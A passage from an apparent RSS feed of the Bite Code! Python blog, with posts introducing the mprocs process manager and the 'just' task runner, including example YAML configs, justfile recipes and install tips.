toad</code></code></pre><p>I had to update node to a version &gt; 20 for it to work with Claude (since their client uses JS), so be warned. But <code>toad</code> does offer to configure the rest for you.</p><p>A few months ago, I had an interview with Will where he explained his whole journey, and how it continues with Toad, and I haven&#8217;t published it yet. So I guess it&#8217;s time.</p><h2><strong>Less is moar</strong></h2><ul><li><p>This time, we swear, Python will be faster. <a href="https://fidget-spinner.github.io/posts/no-longer-sorry.html">15% for python 3.15</a>. On windows.</p></li><li><p>3.14.2 and 3.13.11 <a href="https://pythoninsider.blogspot.com/2025/12/python-3142-and-31311-are-now-available.html">are out</a> with a bunch of bug fixes.</p></li><li><p>Python <a href="https://pythoninsider.blogspot.com/2025/12/python-3150-alpha-3.html">3.15 alpha 3 is out</a>, with minor new features.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Treat yourself for the end of the year to notifications about the best Python articles ever written on this blog, by me, in English since the previous ones. My mum says they are amazing and well worth your time.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[mprocs: start all your project's commands at once]]></title><description><![CDATA[Lots of new toys for Xmas]]></description><link>https://www.bitecode.dev/p/mprocs-start-all-your-projects-commands</link><guid isPermaLink="false">https://www.bitecode.dev/p/mprocs-start-all-your-projects-commands</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Mon, 22 Dec 2025 23:06:19 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/42879e9b-f70a-4504-bd7d-e69eaef0e734_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em><a href="https://github.com/pvolok/mprocs">mprocs</a> is a small dev-oriented process manager that lets you run and monitor  long-running processes in the background.</em></p><p><em>You <a href="https://github.com/pvolok/mprocs?tab=readme-ov-file#installation">install</a> it (or just put the binary on your path), then create a </em><code>mprocs.yaml</code><em> file at the root of your project with your commands:</em></p><pre><code><code>procs:
  django: uv run manage.py runserver
  tailwind: npx @tailwindcss/cli -i input.css -o output.css -w
  huey: uv run huey_consumer.py my_app.huey -k process -w 4</code></code></pre><p><em>Run </em><code>mprocs</code><em> so that it starts all of them at once, then shows you a nice TUI to follow up.</em></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!caW7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!caW7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 424w, https://substackcdn.com/image/fetch/$s_!caW7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 848w, https://substackcdn.com/image/fetch/$s_!caW7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 1272w, https://substackcdn.com/image/fetch/$s_!caW7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!caW7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png" width="1456" height="337" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:337,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:85280,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/182320250?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!caW7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 424w, https://substackcdn.com/image/fetch/$s_!caW7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 848w, https://substackcdn.com/image/fetch/$s_!caW7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 1272w, https://substackcdn.com/image/fetch/$s_!caW7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23430cda-af84-4ba4-9ee3-8641107910ce_1643x380.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>One file to find them. One file to bring them all up. And in the background run them</strong></h2><p>I just encountered <a href="https://bsky.app/profile/hynek.me/post/3magfqaymu22a">a post from Hynek</a> mentioning <a href="https://github.com/pvolok/mprocs">mprocs</a>, and it looked like something I wanted for a long time.</p><p>Indeed, for many of my projects, I have multiple long-running processes I need to run, like a web server, a task queue, a CSS pre-processor, and so on.</p><p>Starting and monitoring each of them in a different terminal tab every time, and restarting them when they fail, is slightly annoying. I say slightly, because we are clearly in first-world problem territory. But annoying nonetheless.</p><p>However, not annoying enough that I wanted to deal with the hassle of using <code>tmux</code> just for this.</p><p>Turns out <code>mprocs</code> is exactly what I want, and maybe that&#8217;s what you want too.</p><p>It has one simple value proposal: you define a <code>mprocs.yaml</code> file at the root of your project containing the commands of the long-running processes you need for development:</p><pre><code><code>procs:
  command1: run your server
  command2: run your builder
  commadn3: run whatever you want really</code></code></pre><p>E.G, for a Python Web project with a bit of Tailwind:</p><pre><code><code>procs:
  django: uv run manage.py runserver
  tailwind: npx @tailwindcss/cli -i .input.css -o .output.css -w
  huey: uv run huey_consumer.py my_app.huey -k process -w 4</code></code></pre><p>And you call the <code>mprocs</code> command to run them all for you at once:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S-Fr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S-Fr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 424w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 848w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 1272w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S-Fr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png" width="1456" height="895" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:895,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:491824,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/182320250?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S-Fr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 424w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 848w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 1272w, https://substackcdn.com/image/fetch/$s_!S-Fr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78285259-9978-4b1a-ae4e-ef9c190667bb_2192x1347.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>That&#8217;s it, problem solved. Your processes all run, you can switch from one to another with keyboard shortcuts or mouse clicks, if one dies, you see its name turn red:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3gNG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3gNG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 424w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 848w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 1272w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3gNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png" width="1163" height="285" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:285,&quot;width&quot;:1163,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:76942,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/182320250?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3gNG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 424w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 848w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 1272w, https://substackcdn.com/image/fetch/$s_!3gNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4d4da81-589c-4953-a651-f18e5f241e52_1163x285.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You can restart it manually with <code>r</code> or setup an autorestart policy.</p><p>Of course, you can couple it with the excellent <a href="https://www.bitecode.dev/p/justified">just task runner.</a> to make things even easier:</p><pre><code><code>procs:
  django: just runserver
  tailwind: just watch_css
  huey: just queue</code></code></pre><h2><strong>There is not much more to it</strong></h2><p>That&#8217;s going to be a short blog post for once, because that&#8217;s really it (and I&#8217;m writing this in between eating too much sugar and too much fat). Sure, you can do a bit more in <code>mprocs</code> configuration files.<code> mprocs</code> lets you define the current working directory, env variables, or select commands depending on OSes, but since <code>just</code> does it has well, I&#8217;d rather configure it there.</p><p>Honestly, I&#8217;m even going to hide <code>mprocs</code> behind <code>just dev</code>. I want <code>just</code> to be my interface to everything, so that I have only one place to look at when I switch between projects.</p><p>It&#8217;s easier for the team, and it&#8217;s also more efficient for AI agents, especially since the latter would use <code>just</code> but not <code>mprocs</code>.</p><p>Another nice Rust CLI tool I added to my <code>PATH</code>. There is a lot of that going on these days.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">mprocs can do one more secret thing, which I reveal if you subscribe. Ok, that&#8217;s a lie. Or is it? Only one way to figure it out.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Justified]]></title><description><![CDATA[I&#8217;m really bad at this SEO title thing]]></description><link>https://www.bitecode.dev/p/justified</link><guid isPermaLink="false">https://www.bitecode.dev/p/justified</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 14 Dec 2025 17:24:47 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/22a48548-09c5-4eb6-883f-124b6e777997_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>It&#8217;s nice to have shortcuts for commands you use often. To have normalized names for installing dependencies, running the code, or starting the tests across all your projects.</em></p><p><em>Task runners are good at this: </em><code>gulp</code><em>, </em><code>doit</code><em>, </em><code>rake</code><em>... It&#8217;s so popular that build systems are sometimes used only for this feature, like with </em><code>make</code><em>.</em></p><p><em>I tried the cross-platform <a href="https://just.systems/man/en/introduction.html">&#8220;just&#8221; task runner</a> for a while, and it won me over. It is now my daily driver.</em></p><p><em>Put a </em><code>.justfile</code><em> at the root of your project, add a few commands, and voil&#224;, normalized self-documenting project shortcuts:</em></p><pre><code><code>set dotenv-load
set shell := [&#8221;zsh&#8221;, &#8220;-c&#8221;]
set windows-shell := [&#8221;powershell.exe&#8221;, &#8220;-NoProfile&#8221;, &#8220;-NoLogo&#8221;, &#8220;-Command&#8221;]

build_docs:
    python -m mkdocs build -f docs\mkdocs.yml
    python -m http.serve docs

runserver port=&#8221;8080&#8221;:
    python manage.py runserver 127.0.0.1:{{port}}

test *args:
    pytest tests {{args}}

format +targets=&#8221;src test&#8221;:
    ruff format {{targets}}
    ruff check --fix {{targets}}

[windows]
clean_pyc:
    Get-ChildItem -Path . -Filter *.pyc -Recurse | Remove-Item -Force

[unix]
clean_pyc:
    find . -name &#8220;*.pyc&#8221; -exec rm -f {} \;</code></code></pre><p><em>You can now list all actions in your project:</em></p><pre><code><code>&#10095; just --list
Available recipes:
    build_docs
    clean_pyc
    format +targets=&#8221;src test&#8221;
    runserver port=&#8221;8080&#8221;</code></code></pre><p><em>And run any of them from the comfy </em><code>just</code><em> wrapper:</em></p><pre><code><code>&#10095; just format foo/my_file.py
ruff format foo/my_file.py
1 file left unchanged
ruff check --fix foo/my_file.py
All checks passed!</code></code></pre><p><em>No need to remember all the underlying commands.</em></p><h2><strong>My battery is low, and it&#8217;s getting dark</strong></h2><p>It&#8217;s one of those long days, you have been switching between 3 projects already, you are tired, and the sun went down 30 minutes ago. Not saying there are vampires out there, but given the number of bugs you had to kill today, you would not be surprised.</p><p>Now you are switching to yet another web project. It&#8217;s not installed, so you definitely need to figure that out. Is it using <code>poetry</code>, or <code>pip</code>, or <code>uv</code> ?</p><p>Ah, it&#8217;s pre-COVID at a time when you worked for one of those corps that used Anaconda. But not using the usual <code>conda</code> command, the guy who set that up decided it should be using the latest shining toy of years ago, and is using <code>mamba</code>. How does that work already?</p><p>How do you call this bloody thing? With what parameters?</p><p>You made it work somehow, piecing up bits from the readme, a deprecated StackOverflow post, and 2 wrong trials from ChatGPT.</p><p>But now you have to start the damn stuff.</p><p>So first, figuring out what framework it uses, and then the magical incantation to run the dev server. You kinda remember it has to listen to port 7777, but is that a Flask thing that goes:</p><pre><code><code>flask run --reload --port 7777</code></code></pre><p>A FastAPI thing that needs:</p><pre><code><code>uvicorn main:app --reload --port 7777</code></code></pre><p>Or a Django thing that wants:</p><pre><code><code>python manage.py runserver 7777</code></code></pre><p>Success. Now let&#8217;s figure out how to run the unit tests...</p><h2><strong>That&#8217;s why we haz task runners</strong></h2><p>Most projects need a command to set it up, another one to run it, and another one to run the tests. Then a collection of custom ones of other dedicated stuff. Task runners normalize that, you only have to figure out what task runner to use, after that, it can list the commands available on the project, and run them for you with a short name instead of the whole thing.</p><p>There are thousands of task runners out there. The most popular is probably still <code>make</code> (which I really dislike because it was made as a builder, not a task runner, and it shows). In the Python world, I have used and recommended <a href="https://pydoit.org/">doit</a> (nice article <a href="https://www.bitecode.dev/p/doit-the-goodest-python-task-runner">here</a>) and <a href="https://poethepoet.natn.io/index.html">poethepoet</a>.</p><p>But for a few projects now, I&#8217;ve been using the Rust-based <a href="https://github.com/casey/just">just</a> command. And since <a href="https://github.com/astral-sh/uv/issues/5903#issuecomment-3570848646">uv doesn&#8217;t seem to include the feature any time soon</a>, this is likely what I will stick to for the near future.</p><p>It&#8217;s fast, easy to use, simple to install, and works very, very well.</p><p>Allow me to demonstrate.</p><h2><strong>Just install it</strong></h2><p>One of the wonderful things about Rust programs is that they usually come with tons of installation options. You will have to work very hard to find a popular system on which you cannot install <code>just</code>.</p><p>It comes with <a href="https://just.systems/man/en/packages.html">a ridiculous number of supported package formats</a>. You can install it with <a href="https://formulae.brew.sh/formula/just">homebrew</a>, <a href="https://packages.debian.org/trixie/just">apt</a>, <a href="https://src.fedoraproject.org/rpms/rust-just">dnf</a>, <a href="https://snapcraft.io/just">snap</a>, <a href="https://github.com/NixOS/nixpkgs/blob/master/pkgs/by-name/ju/just/package.nix">nix</a>, and even <a href="https://www.npmjs.com/package/rust-just">npm</a> or <a href="https://anaconda.org/channels/conda-forge/packages/just/overview">anaconda</a>.</p><p>It&#8217;s on <a href="https://pypi.org/project/rust-just/">pypi</a>, so you can install it with <code>pip</code> and of course, <code>uv</code>.</p><p>I usually do:</p><pre><code><code>uv tool install rust-just</code></code></pre><p>Because it works the same on Windows, Mac, and Linux, and takes care of the PATH for me.</p><p>But frankly, on systems on which I don&#8217;t have <code>uv</code>, I directly grab the exe <a href="https://github.com/casey/just/releases">from here.</a></p><p>Even on very locked-down Windows boxes from my clients, I haven&#8217;t yet been given a system on which I can&#8217;t unzip &#8220;just-1.45.0-x86_64-pc-windows-msvc.zip&#8221;, and run directly <code>just.exe</code>.</p><p>And being able to ssh, then <code>wget</code> and unzip <code>just-1.45.0-x86_64-unknown-linux-musl.zip</code> on any vps box anywhere and run the thing as-is is fantastic. No root needed.</p><p><code>just</code> really wants to run on your machine.</p><h2><strong>Just say hello</strong></h2><p>In <code>just</code>, commands live in a file <strong>at the root of your project,</strong> named &#8220;<code>.justfile</code>&#8221;.</p><p>You put a recipe in there:</p><pre><code><code>                    # that's a comment
hello:              # that the name of the recipe
    echo &#8220;hello&#8221;    # that's the command it runs</code></code></pre><p>And now, in your terminal, <strong>go to your project directory</strong>, then run it:</p><pre><code><code>&#10095; just hello
echo &#8220;hello&#8221;
hello</code></code></pre><p>(If you are on Windows, this might fail. I&#8217;ll explain later in the section &#8220;Just making it work on Windows&#8221;)</p><p>You&#8217;ll notice that <code>just</code> prints the command then runs it. You can avoid the printing by prefixing the command with a <code>@</code>:</p><pre><code><code>hello:
    @echo &#8220;hello&#8221;</code></code></pre><p>Which gives you:</p><pre><code><code>&#10095; just hello
hello</code></code></pre><p>You don&#8217;t have to limit yourself to one command per receipt; you can put several:</p><pre><code><code>hello:
    @echo &#8220;hello&#8221;
    @echo &#8220;world&#8221;</code></code></pre><p>And you don&#8217;t have to put a <code>@</code> on each command, you can put it on the recipe&#8217;s name:</p><pre><code><code>@hello:
    echo &#8220;hello&#8221;
    echo &#8220;world&#8221;</code></code></pre><p>Running it gives you:</p><pre><code><code>&#10095; just hello
hello
world</code></code></pre><p>That&#8217;s the basics.</p><p>In all your projects, you can now have a just file that does stuff like:</p><pre><code><code># Build and serve the projects technical doc
build_docs:
    python -m mkdocs build -f docs\mkdocs.yml
    python -m http.serve docs</code></code></pre><p>(The comment will be the recipe&#8217;s doc BTW)</p><p>Now you never have to remember what command you need to build and serve the doc for each project. You do:</p><pre><code><code>&#10095; just --list
Available recipes:
    build_docs    # Build and serve the projects technical doc
    hello</code></code></pre><p>And you know what&#8217;s available.</p><h2><strong>Just making it work on windows</strong></h2><p>Just files come with a lot of configuration knobs that you can activate using the <code>set</code> keyword. The most important one is the one to set the shell.</p><p>By default, it will use the <code>sh</code> shell, even on Windows. This might work if you have Cygwin or Git installed, but it might fail miserably.</p><p>You can tell it what shell to use on Windows by adding this at the begining of your <code>just</code> file:</p><pre><code><code>set windows-shell := [&#8221;powershell.exe&#8221;, &#8220;-NoProfile&#8221;, &#8220;-NoLogo&#8221;, &#8220;-Command&#8221;]</code></code></pre><p>This tells <code>just</code> to use PowerShell instead of <code>sh</code>. In this particular case, I tell it not to load the user&#8217;s profile (<code>-NoProfile</code>), not print the startup message (<code>-NoLogo</code>) and execute the next string (<code>-Command</code>, this one is required for it to work, the others are optional.</p><p>You can use <code>set shell</code> to set it to another shell for unix, and <code>set windows-shell</code> just for Windows, so you get a different shell on each.</p><h2><strong>Just add some variables</strong></h2><p>If you read this blog, you know I am not fond of DSLs. I usually think they are too limiting, badly supported, with poor tooling and limited debugging capabilities for the little convenience they bring.</p><p>For a few successful bash, CSS, HTML, and SQL, you have a thousand Frankenstein experiments that haunt your career.</p><p>But I&#8217;m happy to report I quite like <code>just&#8217;s</code> DSL. It strikes a nice balance between usability and power: simple stuff is super simple, complicated stuff is possible. But it stops right before becoming a full-featured script language. You can code a Python script and call that from <code>just</code> instead. Plus it has good VSCode support.</p><p>So what can you do with <code>just</code>?</p><p>Well, variables, for once, which you set with <code>:=</code>:</p><pre><code><code># Create local variable for this script.  
tmp_dir := &#8220;./tmp&#8221;

# Make it an environnement variable accessible to all programs s 
export PATH := &#8220;./local/bin&#8221;

# Load the env variable &#8220;DEBUG&#8221; from the environement and put it  
# in a &#8220;debug&#8221; local variable. If it doesn&#8217;t exist, use the 
# default value &#8220;1&#8221;.
# You could use this with the &#8220;export&#8221; syntax above to make it 
# accessible to all commands but by default it creates a local variable.
debug := env_var_or_default(&#8217;DEBUG&#8217;, &#8220;1&#8221;)

# You can use variables defined previously, in your commands. 
# This will print:
# tmp_dir=./tmp
# PATH=./local/bin
# debug=1
@status:
    echo tmp_dir={{tmp_dir}}
    echo PATH={{PATH}}
    echo debug={{debug}}</code></code></pre><p>But also named parameters:</p><pre><code><code>runserver port=&#8221;8080&#8221;:
    python manage.py runserver 127.0.0.1:{{port}}</code></code></pre><p>You can call this one with</p><ul><li><p><code>just runserver</code><strong>: </strong> runs <code>manage.py runserver 127.0.0.1:8080</code></p></li><li><p><code>just runserver 7777</code> :  runs <code>manage.py runserver 127.0.0.1:7777</code></p></li><li><p><code>just runserver port=7777</code> :  runs <code>manage.py runserver 127.0.0.1:7777</code></p></li></ul><p>And sure, there are variadic versions to pass infinite parameters and proxy them to the underlying commands.</p><pre><code><code># 1 or more This means that &#8220;just format&#8221; requires 
# at least one but possibly many positional parameters. 
# Here we them to &#8220;ruff format&#8221; and &#8220;ruff check&#8221;
# It has a the default values of &#8220;src&#8221; and &#8220;test&#8221; 
